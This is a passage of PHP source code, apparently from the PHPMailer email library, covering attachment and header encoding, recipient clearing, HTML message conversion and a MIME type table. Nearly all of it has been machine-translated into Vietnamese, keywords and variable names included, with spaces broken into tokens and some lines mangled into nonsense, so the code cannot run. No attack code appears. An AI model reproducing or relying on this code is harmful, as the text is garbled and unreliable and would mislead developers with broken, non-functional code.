- $ this-> LE. $ this-> LE
- );
- } else {
- if (! empty ($ encoded_name)) {
- $ mime [] = sprintf (
- 'Content-Disposition:% s; tên tập tin =% s% s '
- $ bố trí,
- $ encoded_name,
- $ this-> LE. $ this-> LE
- );
- } else {
- $ mime [] = sprintf (
- 'Content-Disposition:% s% s',
- $ bố trí,
- $ this-> LE. $ this-> LE
- );
- }
- }
- } else {
- $ mime [] = $ this-> LE;
- }
- / / Mã hóa như tập tin đính kèm chuỗi
- if ($ bString) {
- $ mime [] = $ this-> encodeString ($ string, $ encoding);
- if ($ this-> isError ()) {
- trở về '';
- }
- $ mime [] = $ this-> LE. $ this-> LE;
- } else {
- $ mime [] = $ this-> encodeFile ($ path, $ encoding);
- if ($ this-> isError ()) {
- trở về '';
- }
- $ mime [] = $ this-> LE. $ this-> LE;
- }
- }
- }
- $ mime [] = sprintf ('-% s -% s', ranh giới $, $ this-> LE);
- trở lại impode ('', $ mime);
- }
- / **
- * Mã hóa tập tin đính kèm theo định dạng yêu cầu.
- * Trả lại một chuỗi rỗng khi thất bại.
- * @param string $ path Đường dẫn đầy đủ đến tệp tin
- * @param chuỗi $ mã hóa Các mã hóa để sử dụng; một trong những 'base64', '7bit', '8bit', 'nhị phân', 'quoted-printable'
- * @throws phpmailerException
- * @cơ sở bảo vệ
- * chuỗi trả về
- * /
- chức năng được bảo vệ encodeFile ($ path, $ encoding = 'base64')
- {
- thử {
- if (! is_readable ($ path)) {
- ném phpmailerException mới ($ this-> lang ('file_open'). $ path, self :: STOP_CONTINUE;
- }
- $ magic_quotes = get_magic_quotes_runtime ();
- if ($ magic_quotes) {
- if (version_compare (PHP_VERSION, '5.3.0', '<')) {
- set_magic_quotes_runtime (sai);
- } else {
- // Không tồn tại trong PHP 5.4, nhưng chúng ta không cần phải kiểm tra vì
- // get_magic_quotes_runtime luôn trả về false trong 5.4+
- // vì vậy nó sẽ không bao giờ có được ở đây
- ini_set ('magic_quotes_runtime', sai);
- }
- }
- $ file_buffer = file_get_contents ($ path);
- $ file_buffer = $ this-> encodeString ($ file_buffer, $ encoding);
- if ($ magic_quotes) {
- if (version_compare (PHP_VERSION, '5.3.0', '<')) {
- set_magic_quotes_runtime ($ magic_quotes);
- } else {
- ini_set ('magic_quotes_runtime', $ magic_quotes);
- }
- }
- trả lại $ file_buffer;
- } catch (Exception $ exc) {
- $ this-> setError ($ exc-> getMessage ());
- trở về '';
- }
- }
- / **
- * Mã hóa chuỗi theo định dạng yêu cầu.
- * Trả lại một chuỗi rỗng khi thất bại.
- * @param string $ str Các văn bản để mã hóa
- * @param chuỗi $ mã hóa Các mã hóa để sử dụng; một trong những 'base64', '7bit', '8bit', 'nhị phân', 'quoted-printable'
- * @ truy cập công cộng
- * chuỗi trả về
- * /
- hàm công cộng encodeString ($ str, $ encoding = 'base64')
- {
- $ mã hoá = '';
- chuyển đổi (strtolower (mã hóa $)) {
- trường hợp 'base64':
- $ được mã hóa = chunk_split (base64_encode ($ str), 76, $ this-> LE);
- phá vỡ;
- trường hợp '7bit':
- trường hợp '8bit':
- $ được mã hoá = $ this-> fixEOL ($ str);
- / / Hãy chắc chắn rằng nó kết thúc với một ngắt dòng
- if (substr ($ encoded, - (strlen ($ this-> LE)))!) = $ this-> LE) {
- $ được mã hoá. = $ this-> LE;
- }
- phá vỡ;
- trường hợp 'nhị phân':
- $ mã hoá = $ str;
- phá vỡ;
- trường hợp 'quoted-printable':
- $ encoded = $ this-> encodeQP ($ str);
- phá vỡ;
- mặc định:
- $ this-> setError ($ this-> lang ('encoding'). $ encoding);
- phá vỡ;
- }
- trở lại $ mã hoá;
- }
- / **
- * Mã hóa một chuỗi tiêu đề một cách tối ưu.
- * Chọn ngắn nhất Q, B, trích dẫn in hoặc không có.
- * @ truy cập công cộng
- * @param chuỗi $ str
- * @param string $ position
- * chuỗi trả về
- * /
- hàm công cộng mã hóa ($ str, $ position = 'text')
- {
- $ matchcount = 0;
- chuyển đổi (strtolower ($ vị trí)) {
- trường hợp 'cụm từ':
- if (! preg_match ('/ [\ 200- \ 377] /', $ str)) {
- // Không thể sử dụng addslashes vì chúng ta không biết giá trị của magic_quotes_sybase
- $ encoded = addcslashes ($ str, "\ 0 .. \ 37 \ 177 \\\" ");
- if (($ str == $ encoded) &&! preg_match ('/ [^ A-Za-z0-9! # $% & \' * + \ / =? ^ _ `{|} ~ -] / ', $ str)) {
- return ($ mã hoá);
- } else {
- return ("\" $ mã hoá \ "");
- }
- }
- $ matchcount = preg_match_all ('/ [^ \ 040 \ 041 \ 043- \ 133 \ 135- \ 176] /', $ str, $ khớp);
- phá vỡ;
- / ** @khám sát PhpMissingBreakStatementInspection * /
- trường hợp 'nhận xét':
- $ matchcount = preg_match_all ('/ [()'] / ', $ str, $ khớp);
- / / Cố tình rơi
- trường hợp 'văn bản':
- mặc định:
- $ matchcount + = preg_match_all ('/ [\ 000- \ 010 \ 013 \ 014 \ 016- \ 037 \ 177- \ 377] /', $ str, $ khớp);
- phá vỡ;
- }
- // Không có ký tự cần mã hóa
- if ($ matchcount == 0) {
- return ($ str);
- }
- $ maxlen = 75 - 7 - strlen ($ this-> CharSet);
- / / Hãy thử để chọn mã hóa mà nên sản lượng ra ngắn nhất
- if ($ matchcount> strlen ($ str) / 3) {
- // Hơn một phần ba nội dung sẽ cần mã hóa, do đó mã hoá B sẽ hiệu quả nhất
- $ mã hóa = 'B';
- if (function_exists ('mb_strlen') && $ this-> hasMultiBytes ($ str)) {
- / / Sử dụng một chức năng tùy chỉnh chính xác mã hóa và kết thúc tốt đẹp
- / / multibyte chuỗi mà không vi phạm các dòng trong một nhân vật
- $ encoded = $ this-> base64EncodeWrapMB ($ str, "\ n");
- } else {
- $ mã hoá = base64_encode ($ str);
- $ maxlen - = $ maxlen% 4;
- $ encoded = trim (chunk_split ($ mã hoá, $ maxlen, "\ n"));
- }
- } else {
- $ encoding = 'Q';
- $ encoded = $ this-> encodeQ ($ str, $ position);
- $ encoded = $ this-> wrapText ($ mã hoá, $ maxlen, true);
- $ encoded = str_replace ('='. tự :: CRLF, "\ n", cắt ($ mã hoá));
- }
- $ encoded = preg_replace ('/^(.*)$/m', '=?'. $ this-> CharSet. "? $ encoding? \\ 1? =", $ mã hoá);
- $ encoded = trim (str_replace ("\ n", $ this-> LE, $ mã hoá));
- trở lại $ mã hoá;
- }
- / **
- * Kiểm tra nếu một chuỗi chứa các ký tự đa byte.
- * @ truy cập công cộng
- * @param chuỗi $ str nhiều byte văn bản để bọc mã hóa
- * @ boolean trở lại
- * /
- hàm công cộng hasMultiBytes ($ str)
- {
- if (function_exists ('mb_strlen')) {
- return (strlen ($ str)> mb_strlen ($ str, $ this-> CharSet));
- } else {// Giả sử không có multibytes (chúng ta không thể xử lý mà không có chức năng mbstring anyway)
- trả lại giả;
- }
- }
- / **
- * Có một chuỗi chứa bất kỳ ký tự 8-bit (trong bất kỳ charset)?
- * chuỗi ký tự $ string
- * @ boolean trở lại
- * /
- chức năng công cộng has8bitChars ($ văn bản)
- {
- return (boolean) preg_match ('/ [\ x80- \ xFF] /', $ văn bản);
- }
- / **
- * Mã hóa và bọc chuỗi dài đa chiều cho tiêu đề thư
- * mà không phá vỡ đường trong một nhân vật.
- * Được điều chỉnh từ một chức năng bởi paravoid
- * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
- * @ truy cập công cộng
- * @param chuỗi $ str nhiều byte văn bản để bọc mã hóa
- * @param string $ linebreak string để sử dụng như linefeed / end-of-line
- * chuỗi trả về
- * /
- chức năng công cộng base64EncodeWrapMB ($ str, $ linebreak = null)
- {
- $ start = '=?' . $ this-> CharSet. '? B?';
- $ end = '? =';
- $ mã hoá = '';
- if ($ linebreak === null) {
- $ linebreak = $ this-> LE;
- }
- $ mb_length = mb_strlen ($ str, $ this-> CharSet);
- // Mỗi dòng phải có chiều dài <= 75, bao gồm $ bắt đầu và $ end
- $ length = 75 - strlen ($ start) - strlen ($ kết thúc);
- / / Tỷ lệ trung bình nhiều byte
- $ ratio = $ mb_length / strlen ($ str);
- // Base64 có tỉ lệ 4: 3
- $ avgLength = sàn ($ chiều dài * $ tỷ lệ * .75);
- cho ($ i = 0; $ i <$ mb_length; $ i + = $ bù đắp) {
- $ lookBack = 0;
- làm {
- $ offset = $ avgLength - $ lookBack;
- $ chunk = mb_substr ($ str, $ i, $ offset, $ this-> CharSet);
- $ chunk = base64_encode (chunk $);
- $ lookBack ++;
- } trong khi (strlen ($ chunk)> $ length);
- $ mã hoá. = chunk $. $ linebreak;
- }
- // Chomp dòng cuối cùng nạp
- $ Mã hoá = substr ($ mã hoá, 0, -strlen ($ linebreak));
- trở lại $ mã hoá;
- }
- / **
- * Mã hóa một chuỗi trong định dạng trích dẫn in được.
- * Theo RFC2045 mục 6.7.
- * @ truy cập công cộng
- * @param string $ string Các văn bản để mã hóa
- * @param số nguyên $ line_max Số ký tự được phép trên một dòng trước khi gói
- * chuỗi trả về
- * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Được chuyển thể từ nhận xét này
- * /
- chức năng công khai mã hóaQP ($ string, $ line_max = 76)
- {
- / / Sử dụng chức năng bản địa nếu nó có sẵn (> = PHP5.3)
- if (function_exists ('quoted_printable_encode')) {
- return quoted_printable_encode ($ string);
- }
- / / Fall trở lại một thực hiện PHP tinh khiết
- $ string = str_replace (
- mảng ('% 20', '% 0D% 0A.', '% 0D% 0A', '%'),
- array ('', "\ r \ n = 2E", "\ r \ n", '='),
- rawurlencode (chuỗi $)
- );
- trả về preg_replace ('/ [^ \ r \ n] {'. ($ line_max - 3). '}, $ 0 = \ r \ n ", $ string) ;
- }
- / **
- * Gói wrapper tương thích ngược cho một chức năng mã hóa QP cũ bị xóa.
- * @see PHPMailer :: encodeQP ()
- * @ truy cập công cộng
- * string $ string
- * @param số nguyên $ line_max
- * @param boolean $ space_conv
- * chuỗi trả về
- * @deprecated Sử dụng encodeQP thay thế.
- * /
- chức năng công khai mã hóaQPphp (
- $ string,
- $ line_max = 76,
- / ** @khám sát PhpUnusedParameterInspection * / $ space_conv = false
- ) {
- return $ this-> encodeQP ($ string, $ line_max);
- }
- / **
- * Mã hóa một chuỗi bằng cách sử dụng mã hóa Q.
- * @link http://tools.ietf.org/html/rfc2047
- * @param chuỗi $ str văn bản để mã hóa
- * @param string $ position Trường hợp văn bản sẽ được sử dụng, xem RFC cho điều đó có nghĩa là gì
- * @ truy cập công cộng
- * chuỗi trả về
- * /
- hàm công cộng mã hoá ($ str, $ position = 'text')
- {
- // Không nên có EOL trong chuỗi
- $ pattern = '';
- $ encoded = str_replace (array ("\ r", "\ n"), '', $ str);
- chuyển đổi (strtolower ($ vị trí)) {
- trường hợp 'cụm từ':
- / / RFC 2047 phần 5.3
- $ pattern = '^ A-Za-z0-9! * + \ / -';
- phá vỡ;
- / ** @khám sát PhpMissingBreakStatementInspection * /
- trường hợp 'nhận xét':
- / / RFC 2047 phần 5.2
- $ pattern = '\ (\) "';
- / / cố tình rơi
- // vì lý do này chúng ta xây dựng mô hình $ mà không bao gồm các dấu phân cách và []
- trường hợp 'văn bản':
- mặc định:
- / / RFC 2047 phần 5.1
- / / Thay thế mỗi ascii cao, kiểm soát, =,? và _ nhân vật
- $ pattern = '\ 000- \ 011 \ 013 \ 014 \ 016- \ 037 \ 075 \ 077 \ 137 \ 177- \ 377'. $ mẫu;
- phá vỡ;
- }
- $ matches = array ();
- if (preg_match_all ("/ [{$ pattern}] /", $ mã hoá, $ khớp)) {
- / / Nếu chuỗi có chứa một '=', hãy chắc chắn rằng đó là điều đầu tiên chúng ta thay thế
- // để tránh mã hóa kép
- $ eqkey = array_search ('=', $ khớp [0]);
- if (false! == $ eqkey) {
- unset ($ khớp [0] [$ eqkey]);
- array_unshift ($ khớp [0], '=');
- }
- foreach (array_unique ($ matches [0]) như $ char) {
- $ encoded = str_replace ($ char, '=' sprintf ('% 02X', ord ($ char)), $ được mã hóa;
- }
- }
- // Thay thế mọi không gian để _ (dễ đọc hơn = 20)
- trả lại str_replace ('', '_', $ mã hoá);
- }
- / **
- * Thêm một chuỗi hoặc tập tin đính kèm nhị phân (không phải hệ thống tập tin).
- * Phương pháp này có thể được sử dụng để đính kèm dữ liệu ascii hoặc nhị phân,
- * chẳng hạn như một bản ghi BLOB từ cơ sở dữ liệu.
- * @param string $ string Chuỗi dữ liệu đính kèm.
- * @param string $ filename Tên của tập tin đính kèm.
- * @param string $ encoding Mã hóa tệp (xem $ Encoding).
- * @param string $ type Loại tệp mở rộng (MIME) type.
- * @param string $ disposition Định hướng sử dụng
- * trở về trạng thái trống
- * /
- chức năng addStringAttachment công cộng
- $ string,
- $ tên tập tin,
- $ encoding = 'base64',
- $ type = '',
- $ disposition = 'tệp đính kèm'
- ) {
- / / Nếu một loại MIME không được chỉ định, cố gắng làm việc nó ra từ tên tập tin
- if ($ type == '') {
- $ type = self :: filenameToType ($ filename);
- }
- // Nối với mảng đính kèm $
- $ this-> attachment [] = mảng (
- 0 => $ string,
- 1 => $ tên tập tin,
- 2 => basename ($ filename),
- 3 => $ mã hóa,
- 4 => $ loại,
- 5 => true, // isStringAttachment
- 6 => $ bố trí,
- 7 => 0
- );
- }
- / **
- * Thêm một đính kèm (nội tuyến) tập tin đính kèm từ một tập tin.
- * Điều này có thể bao gồm hình ảnh, âm thanh và bất kỳ loại tài liệu nào khác.
- * Khác với các tập tin đính kèm 'thường lệ' mà chúng được định nghĩa là
- * Hiển thị trực tuyến với tin nhắn, không chỉ kèm theo để tải xuống.
- * Điều này được sử dụng trong các tin nhắn HTML nhúng các hình ảnh
- * HTML đề cập đến việc sử dụng giá trị $ cid.
- * @param string $ path Đường dẫn đến tập tin đính kèm.
- * @param string $ cid Content ID của tập tin đính kèm; Sử dụng tham chiếu này
- * nội dung khi sử dụng một hình ảnh nhúng trong HTML.
- * @param string $ name Ghi đè lên tên tệp đính kèm.
- * @param string $ encoding Mã hóa tệp (xem $ Encoding).
- * @param string $ type Loại tệp MIME.
- * @param string $ disposition Định hướng sử dụng
- * @ return boolean Đúng vào thành công thêm một tập tin đính kèm
- * /
- hàm công cộng addEmbeddedImage ($ path, $ cid, $ name = '', $ encoding = 'base64', $ type = '', $ disposition = 'inline')
- {
- if (! @ is_file ($ path)) {
- $ this-> setError ($ this-> lang ('file_access'). $ path);
- trả lại giả;
- }
- / / Nếu một loại MIME không được chỉ định, cố gắng làm việc nó ra từ tên tập tin
- if ($ type == '') {
- $ type = self :: filenameToType ($ path);
- }
- $ filename = basename ($ path);
- if ($ name == '') {
- $ name = $ filename;
- }
- // Nối với mảng đính kèm $
- $ this-> attachment [] = mảng (
- 0 => $ đường dẫn,
- 1 => $ tên tập tin,
- 2 => $ tên,
- 3 => $ mã hóa,
- 4 => $ loại,
- 5 => false, // isStringAttachment
- 6 => $ bố trí,
- 7 => $ cid
- );
- trở lại đúng;
- }
- / **
- * Thêm tệp đính kèm đã được nhúng vào.
- * Điều này có thể bao gồm hình ảnh, âm thanh và bất kỳ loại tài liệu nào khác.
- * Đảm bảo thiết lập kiểu $ cho một loại hình ảnh cho hình ảnh:
- * Hình ảnh JPEG sử dụng 'image / jpeg', GIF sử dụng 'image / gif', PNG sử dụng 'image / png'.
- * @param string $ string Dữ liệu đính kèm nhị phân.
- * @param string $ cid Content ID của tập tin đính kèm; Sử dụng tham chiếu này
- * nội dung khi sử dụng một hình ảnh nhúng trong HTML.
- * @param string $ name
- * @param string $ encoding Mã hóa tệp (xem $ Encoding).
- * @param string $ type MIME type.
- * @param string $ disposition Định hướng sử dụng
- * @ return boolean Đúng vào thành công thêm một tập tin đính kèm
- * /
- hàm công cộng addStringEmbeddedImage (
- $ string,
- $ cid,
- $ name = '',
- $ encoding = 'base64',
- $ type = '',
- $ disposition = 'nội tuyến'
- ) {
- / / Nếu một loại MIME không được chỉ định, cố gắng làm việc nó ra từ tên
- if ($ type == '' và! empty ($ name)) {
- $ type = self :: filenameToType ($ name);
- }
- // Nối với mảng đính kèm $
- $ this-> attachment [] = mảng (
- 0 => $ string,
- 1 => $ tên,
- 2 => $ tên,
- 3 => $ mã hóa,
- 4 => $ loại,
- 5 => true, // isStringAttachment
- 6 => $ bố trí,
- 7 => $ cid
- );
- trở lại đúng;
- }
- / **
- * Kiểm tra nếu có đính kèm nội tuyến.
- * @ truy cập công cộng
- * @ boolean trở lại
- * /
- hàm công khai inlineImageExists ()
- {
- foreach ($ this-> attachment as $ attachment) {
- if ($ attachment [6] == 'inline') {
- trở lại đúng;
- }
- }
- trả lại giả;
- }
- / **
- * Kiểm tra xem một tập tin đính kèm (không trực tuyến) có mặt.
- * @ boolean trở lại
- * /
- chức năng công cộng đính kèm Hiện ()
- {
- foreach ($ this-> attachment as $ attachment) {
- if ($ attachment [6] == 'tệp đính kèm') {
- trở lại đúng;
- }
- }
- trả lại giả;
- }
- / **
- * Kiểm tra xem thông báo này có bộ cơ thể thay thế hay không.
- * @ boolean trở lại
- * /
- chức năng công cộng thay thếExists ()
- {
- trở lại trống rỗng ($ this-> AltBody);
- }
- / **
- * Xóa các địa chỉ được xếp hàng đợi của một loại nhất định.
- * @cơ sở bảo vệ
- * @param string $ kind 'to', 'cc', hoặc 'bcc'
- * trở về trạng thái trống
- * /
- chức năng công cộng clearQueuedAddresses (loại $)
- {
- $ RecipientsQueue = $ this-> RecipientsQueue;
- foreach ($ RecipientsQueue as $ address => $ params) {
- if ($ params [0] == $ kind) {
- unset ($ this-> RecipientsQueue [$ address]);
- }
- }
- }
- / **
- * Xóa tất cả Đến người nhận.
- * trở về trạng thái trống
- * /
- clearAddresses chức năng công cộng ()
- {
- foreach ($ this-> to as to $ to) {
- unset ($ this-> all_recipients [strtolower ($ to [0])]);
- }
- $ this-> to = array ();
- $ this-> clearQueuedAddresses ('to');
- }
- / **
- * Xóa tất cả người nhận CC.
- * trở về trạng thái trống
- * /
- clearCCs chức năng công cộng ()
- {
- foreach ($ this-> cc as $ cc) {
- unset ($ this-> all_recipients [strtolower ($ cc [0])]);
- }
- $ this-> cc = array ();
- $ this-> clearQueuedAddresses ('cc');
- }
- / **
- * Xóa tất cả người nhận BCC.
- * trở về trạng thái trống
- * /
- chức năng công cộng clearBCCs ()
- {
- foreach ($ this-> bcc as $ bcc) {
- unset ($ this-> all_recipients [strtolower ($ bcc [0])]);
- }
- $ this-> bcc = array ();
- $ this-> clearQueuedAddresses ('bcc');
- }
- / **
- * Xóa tất cả người nhận Trả lời.
- * trở về trạng thái trống
- * /
- chức năng công cộng clearReplyTos ()
- {
- $ this-> ReplyTo = array ();
- $ this-> ReplyToQueue = array ();
- }
- / **
- * Xóa tất cả các loại người nhận.
- * trở về trạng thái trống
- * /
- các hàm công khai clearAllRecipients ()
- {
- $ this-> to = array ();
- $ this-> cc = array ();
- $ this-> bcc = array ();
- $ this-> all_recipients = array ();
- $ this-> RecipientsQueue = array ();
- }
- / **
- * Xoá tất cả các hệ thống tập tin, chuỗi, và các tập tin đính kèm nhị phân.
- * trở về trạng thái trống
- * /
- chức năng clearAttachments công cộng ()
- {
- $ this-> attachment = array ();
- }
- / **
- * Xóa tất cả các tiêu đề tùy chỉnh.
- * trở về trạng thái trống
- * /
- chức năng công cộng clearCustomHeaders ()
- {
- $ this-> CustomHeader = array ();
- }
- / **
- * Thêm thông báo lỗi vào bộ chứa lỗi.
- * @cơ sở bảo vệ
- * @param string $ msg
- * trở về trạng thái trống
- * /
- chức năng bảo vệ setError ($ msg)
- {
- $ this-> error_count ++;
- if ($ this-> Mailer == 'smtp' và! is_null ($ this-> smtp)) {
- $ lasterror = $ this-> smtp-> getError ();
- if (! empty ($ lasterror ['error'])) {
- $ msg. = $ this-> lang ('smtp_error'). $ lasterror ['error'];
- if (! empty ($ lasterror ['detail'])) {
- $ msg. = 'Chi tiết:'. $ lasterror ['detail'];
- }
- if (! empty ($ lasterror ['smtp_code'])) {
- $ msg. = 'Mã SMTP:'. $ lasterror ['smtp_code'];
- }
- if (! empty ($ lasterror ['smtp_code_ex'])) {
- $ msg. = 'Thông tin SMTP bổ sung:'. $ lasterror ['smtp_code_ex'];
- }
- }
- }
- $ this-> ErrorInfo = $ msg;
- }
- / **
- * Trả lại một ngày được định dạng của RFC 822.
- * @ truy cập công cộng
- * chuỗi trả về
- * tĩnh
- * /
- chức năng tĩnh công cộng rfcDate ()
- {
- / / Thiết lập múi giờ để mặc định là để tránh 500 lỗi
- // Mặc định là UTC nếu nó không được đặt đúng trong php.ini
- date_default_timezone_set (@date_default_timezone_get ());
- ngày trả lại ('D, j MYH: i: s O');
- }
- / **
- * Lấy tên máy chủ lưu trữ.
- * Trả về 'localhost.localdomain' nếu không biết.
- * @cơ sở bảo vệ
- * chuỗi trả về
- * /
- chức năng bảo vệ serverHostname ()
- {
- $ result = 'localhost.localdomain';
- if (! empty ($ this-> Hostname)) {
- $ result = $ this-> Hostname;
- } elseif (isset ($ _ SERVER) và array_key_exists ('SERVER_NAME', $ _SERVER) và! empty ($ _ SERVER ['SERVER_NAME'])) {
- $ result = $ _SERVER ['SERVER_NAME'];
- } elseif (function_exists ('gethostname') && gethostname ()! == false) {
- $ result = gethostname ();
- } elseif (php_uname ('n')! == false) {
- $ result = php_uname ('n');
- }
- trả về $ kết quả;
- }
- / **
- * Nhận thông báo lỗi bằng ngôn ngữ hiện tại.
- * @cơ sở bảo vệ
- * chuỗi giá trị $
- * chuỗi trả về
- * /
- chức năng bảo vệ lang (khóa $)
- {
- if (count ($ this-> language) <1) {
- $ this-> setLanguage ('en'); / / thiết lập ngôn ngữ mặc định
- }
- if (array_key_exists ($ key, $ this-> language)) {
- if ($ key == 'smtp_connect_failed') {
- / / Bao gồm một liên kết để khắc phục sự cố các tài liệu trên kết nối SMTP thất bại
- // đây là nguyên nhân lớn nhất của các câu hỏi hỗ trợ
- // nhưng thường không phải lỗi của PHPMailer.
- return $ this-> language [key $]. 'https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
- }
- return $ this-> language [key $];
- } else {
- / / Trả lại phím như là một dự phòng
- return $ key;
- }
- }
- / **
- * Kiểm tra nếu có lỗi xảy ra.
- * @ truy cập công cộng
- * @return boolean Đúng nếu một lỗi đã xảy ra.
- * /
- chức năng công cộng isError ()
- {
- return ($ this-> error_count> 0);
- }
- / **
- * Đảm bảo kết thúc dòng nhất quán trong một chuỗi.
- * Thay đổi mỗi cuối của dòng từ CRLF, CR hoặc LF đến $ this-> LE.
- * @ truy cập công cộng
- * @param string $ str Chuỗi để fixEOL
- * chuỗi trả về
- * /
- fixEOL chức năng công cộng ($ str)
- {
- / / Normalize to \ n
- $ nstr = str_replace (mảng ("\ r \ n", "\ r"), "\ n", $ str);
- / / Bây giờ chuyển đổi LE khi cần thiết
- if ($ this-> LE! == "\ n") {
- $ nstr = str_replace ("\ n", $ this-> LE, $ nstr);
- }
- trở lại $ nstr;
- }
- / **
- * Thêm một tiêu đề tùy chỉnh.
- * $ tên giá trị có thể được quá tải để chứa
- * cả tên tiêu đề và giá trị (tên: giá trị)
- * @ truy cập công cộng
- * @param string $ name Tên tiêu đề tùy chỉnh
- * @param giá trị chuỗi giá trị phần đầu
- * trở về trạng thái trống
- * /
- hàm công cộng addCustomHeader ($ name, $ value = null)
- {
- if ($ value === null) {
- // giá trị được truyền vào như tên: giá trị
- $ this-> CustomHeader [] = nổ (':', $ name, 2);
- } else {
- $ this-> CustomHeader [] = mảng ($ name, $ value);
- }
- }
- / **
- * Trả về tất cả các tiêu đề tuỳ chỉnh.
- * mảng trả về
- * /
- công chức getCustomHeaders ()
- {
- return $ this-> CustomHeader;
- }
- / **
- * Tạo một tin nhắn từ một chuỗi HTML.
- Tự động sửa đổi hình ảnh và hình nền trực tuyến
- * và tạo một phiên bản văn bản thuần bằng cách chuyển đổi HTML.
- * Ghi đè bất kỳ giá trị hiện tại bằng $ this-> Body và $ this-> AltBody
- * @ truy cập công cộng
- Chuỗi thông điệp HTML $ string
- * @param string $ basedir thư mục cơ sở cho đường dẫn
- * @param boolean | callable $ advanced Cho dù sử dụng HTML nội bộ để chuyển đổi văn bản
- * hoặc trình chuyển đổi tùy chỉnh của bạn @see PHPMailer :: html2text ()
- gửi thông báo $ string
- * /
- chức năng công cộng msgHTML ($ message, $ basedir = '', $ advanced = false)
- {
- preg_match_all ('/ (src | background) = ["\'] (. *) [" \ '] / Ui', $ message, $ images);
- if (array_key_exists (2, $ images)) {
- foreach ($ hình ảnh [2] như $ imgindex => $ url) {
- // Chuyển đổi các URI dữ liệu sang các hình ảnh nhúng
- if (preg_match ('# ^ data: (image [^ ;, * *) (; base64) ?, #', $ url, $ match)) {
- $ data = substr ($ url, strpos ($ url, ','));
- if ($ match [2]) {
- $ data = base64_decode ($ data);
- } else {
- $ data = rawurldecode ($ data);
- }
- $ cid = md5 ($ url). '@ phpmailer.0'; // RFC2392 S 2
- if ($ this-> addStringEmbeddedImage ($ data, $ cid, 'embed'. $ imgindex, 'base64', $ match [1])) {
- $ message = str_replace (
- $ hình ảnh [0] [$ imgindex],
- $ hình ảnh [1] [$ imgindex]. '=' cid: '. $ cid.' '',
- tin nhắn $
- );
- }
- } elseif (substr ($ url, 0, 4)! == 'cid:' &&! preg_match ('# ^ [Az] +: // #', $ url)) {
- / / Không thay đổi url cho hình ảnh tuyệt đối (nhờ corvuscorax)
- // Không thay đổi url đã là hình ảnh nội tuyến
- $ filename = basename ($ url);
- $ directory = dirname ($ url);
- if ($ directory == '.') {
- $ thư mục = '';
- }
- $ cid = md5 ($ url). '@ phpmailer.0'; // RFC2392 S 2
- if (strlen ($ basedir)> 1 && substr ($ basedir, -1)! = '/') {
- $ basedir. = '/';
- }
- if (strlen ($ directory)> 1 && substr ($ directory, -1)! = '/') {
- $ directory = '/';
- }
- if ($ this-> addEmbeddedImage (
- $ basedir. $ thư mục. $ tên tập tin,
- $ cid,
- $ tên tập tin,
- 'base64',
- tự :: _ mime_types ((chuỗi) tự :: mb_pathinfo ($ tên tập tin, PATHINFO_EXTENSION))
- )
- ) {
- $ message = preg_replace (
- '/'. $ hình ảnh [1] [$ imgindex]. '\ n "" \ n "" \ n "msgstr" ""
- $ hình ảnh [1] [$ imgindex]. '=' cid: '. $ cid.' '',
- tin nhắn $
- );
- }
- }
- }
- }
- $ this-> isHTML (true);
- / / Chuyển đổi tất cả các dòng văn bản cơ thể nghỉ để CRLF, làm cho mã hóa trích dẫn in làm việc tốt hơn
- $ this-> Body = $ this-> normalizeBreaks ($ message);
- $ this-> AltBody = $ this-> normalizeBreaks ($ this-> html2text ($ message, $ advanced));
- if (empty ($ this-> AltBody)) {
- $ this-> AltBody = 'Để xem email này, hãy mở nó trong một chương trình hiểu HTML!' .
- tự :: CRLF. tự :: CRLF;
- }
- return $ this-> Body;
- }
- / **
- * Chuyển đổi một chuỗi HTML thành văn bản thuần túy.
- * Điều này được sử dụng bởi msgHTML ().
- * Lưu ý - các phiên bản cũ của chức năng này đã sử dụng bộ chuyển đổi tiên tiến đi kèm
- * đã được gỡ bỏ vì lý do giấy phép trong # 232
- * Ví dụ sử dụng:
- * <code>
- * / / Sử dụng chuyển đổi mặc định
- * $ plain = $ mail-> html2text ($ html);
- * / Sử dụng trình chuyển đổi tùy chỉnh của riêng bạn
- * $ plain = $ mail-> html2text ($ html, function ($ html) {
- * $ converter = new MyHtml2text ($ html);
- * return $ converter-> get_text ();
- *});
- * </ code>
- * @param chuỗi $ html Các văn bản HTML để chuyển đổi
- * @param boolean | callable $ advanced Bất kỳ giá trị boolean nào để sử dụng bộ chuyển đổi nội bộ,
- * hoặc cung cấp cuộc gọi của bạn cho chuyển đổi tùy chỉnh.
- * chuỗi trả về
- * /
- chức năng công cộng html2text ($ html, $ advanced = false)
- {
- if (is_callable ($ advanced)) {
- trả lại call_user_func ($ nâng cao, $ html);
- }
- trả về html_entity_decode (
- trim (strip_tags (preg_replace ('/ <(đầu | Tiêu đề * phong cách | kịch bản) [^>] *>. *? <\ / \\ 1> / si', '', $ html))),
- ENT_QUOTES,
- $ this-> CharSet
- );
- }
- / **
- * Nhận loại MIME cho một phần mở rộng tập tin.
- * @param chuỗi $ ext Tập tin mở rộng
- * @ truy cập công cộng
- * Trả về kiểu MIME của tệp.
- * tĩnh
- * /
- public static function _mime_types ($ ext = '')
- {
- $ mimes = mảng (
- 'xl' => 'ứng dụng / excel',
- 'js' => 'ứng dụng / javascript',
- 'hqx' => 'application / mac-binhex40',
- 'cpt' => 'application / mac-compactpro',
- 'bin' => 'ứng dụng / macbinary',
- 'doc' => 'application / msword',
- 'word' => 'application / msword',
- 'xlsx' => 'application / vnd.openxmlformats-officedocument.spreadsheetml.sheet',
- 'xltx' => 'application / vnd.openxmlformats-officedocument.spreadsheetml.template',
- 'potx' => 'application / vnd.openxmlformats-officedocument.presentationml.template',
- 'ppsx' => 'application / vnd.openxmlformats-officedocument.presentationml.slideshow',
- 'pptx' => 'application / vnd.openxmlformats-officedocument.presentationml.presentation',
- 'sldx' => 'application / vnd.openxmlformats-officedocument.presentationml.slide',
- 'docx' => 'application / vnd.openxmlformats-officedocument.wordprocessingml.document',
- 'dotx' => 'application / vnd.openxmlformats-officedocument.wordprocessingml.template',
- 'xlam' => 'application / vnd.ms-excel.addin.macroEnabled.12',
- 'xlsb' => 'application / vnd.ms-excel.sheet.binary.macroEnabled.12',
- 'class' => 'application / octet-stream',
- 'dll' => 'application / octet-stream',
- 'dms' => 'application / octet-stream',
- 'exe' => 'application / octet-stream',
- 'lha' => 'application / octet-stream',
- 'lzh' => 'application / octet-stream',
- 'psd' => 'application / octet-stream',
- 'sea' => 'application / octet-stream',
- 'so' => 'application / octet-stream',
- 'oda' => 'ứng dụng / oda',
